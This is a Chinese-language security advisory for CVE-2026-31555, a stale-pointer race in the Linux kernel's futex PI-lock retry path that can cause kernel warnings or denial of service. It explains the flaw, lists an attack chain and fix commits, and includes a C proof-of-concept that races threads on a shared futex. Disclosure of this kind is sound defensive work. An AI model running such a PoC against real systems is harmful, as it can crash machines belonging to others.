IPBUF安全漏洞报告
English
CVE-2026-31555 CVSS 5.5 中危

CVE-2026-31555: Linux内核Futex重试路径残留指针漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31555
漏洞类型
逻辑错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelFutexRace ConditionDoSLocal VulnerabilityLogic Error

漏洞概述

Linux内核中的futex子系统在处理优先级继承(PI)锁时存在逻辑缺陷。当futex_lock_pi_atomic()检测到锁的拥有者正在退出时,它会返回-EBUSY并保存一个引用计数的任务指针。wait_for_owner_exiting()使用该指针后,本地指针未被重置。在重试逻辑中,如果futex_lock_pi_atomic()返回不同的错误(如-EAGAIN),这个过期的指针会被再次传递给wait_for_owner_exiting(),从而触发内核警告,可能导致系统稳定性问题或拒绝服务。

技术细节

漏洞发生于内核的kernel/futex/core.c文件中。具体场景涉及多线程竞争:CPU0持有futex锁并退出,CPU1尝试获取锁时通过futex_lock_pi_atomic()观察到拥有者处于EXITING状态,因此将拥有者任务指针存储在局部变量exiting中并返回-EBUSY。随后wait_for_owner_exiting()调用put_task_struct()释放引用,但exiting变量未被置空。当CPU1进入重试循环,再次调用futex_lock_pi_atomic()时,由于uaddr值发生变化(例如被CPU2修改),函数返回-EAGAIN。此时代码逻辑错误地将上次残留的exiting指针传递给wait_for_owner_exiting()。由于该指针已无效,函数内部触发WARN_ON_ONCE(exiting),导致内核报错,潜在引发系统崩溃。

攻击链分析

STEP 1
步骤1
本地低权限用户执行恶意程序,该程序创建多个线程操作共享的PI futex变量。
STEP 2
步骤2
一个线程(拥有者)获取futex锁后迅速执行退出操作,将futex状态设为EXITING。
STEP 3
步骤3
另一个线程(攻击者)尝试获取该锁,futex_lock_pi_atomic()检测到拥有者退出,存储指向拥有者的指针并返回-EBUSY。
STEP 4
步骤4
wait_for_owner_exiting()处理完退出逻辑后,局部变量exiting未被清空。由于某种原因(如并发修改),代码进入重试路径并遇到-EAGAIN错误。
STEP 5
步骤5
代码错误地将残留的exiting指针传递给wait_for_owner_exiting(),触发WARN_ON_ONCE,导致内核警告或系统不稳定(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31555 * This code attempts to trigger the race condition in futex_lock_pi. * Compile: gcc -o poc CVE-2026-31555.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <linux/futex.h> #include <sys/syscall.h> #include <unistd.h> #include <errno.h> // Futex syscall wrapper int futex(int *uaddr, int futex_op, int val, const struct timespec *timeout, int *uaddr2, int val3) { return syscall(SYS_futex, uaddr, futex_op, val, timeout, uaddr2, val3); } int futex_addr = 0; void *owner_thread(void *arg) { // Thread acquires the lock and exits immediately // This simulates the 'exit()' race condition futex(&futex_addr, FUTEX_LOCK_PI, 0, NULL, NULL, 0); return NULL; } void *attacker_thread(void *arg) { // Thread tries to lock the futex, potentially hitting the retry path // where the stale pointer bug occurs while (1) { int res = futex(&futex_addr, FUTEX_LOCK_PI, 0, NULL, NULL, 0); if (res == 0) { futex(&futex_addr, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0); } } return NULL; } int main() { pthread_t t1, t2; printf("Starting PoC for CVE-2026-31555...\n"); printf("Check dmesg for WARN_ON_ONCE in futex_lock_pi.\n"); // Create threads to race on the futex for (int i = 0; i < 1000; i++) { futex_addr = 0; // Reset futex state pthread_create(&t1, NULL, owner_thread, NULL); pthread_create(&t2, NULL, attacker_thread, NULL); pthread_join(t1, NULL); // Give attacker thread some time or cancel it pthread_cancel(t2); pthread_join(t2, NULL); } return 0; }

影响范围

Linux Kernel (修复提交 210d36d892de 之前版本)
Linux Kernel (修复提交 33095ae3bdd 之前版本)
Linux Kernel (修复提交 5e8e06bf890 之前版本)

防御指南

临时缓解措施
建议立即应用官方提供的内核补丁。在无法立即重启更新内核的情况下,可以通过限制本地用户的多线程程序执行权限或减少高并发futex调用的负载来降低触发概率,但这并不是彻底的解决方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表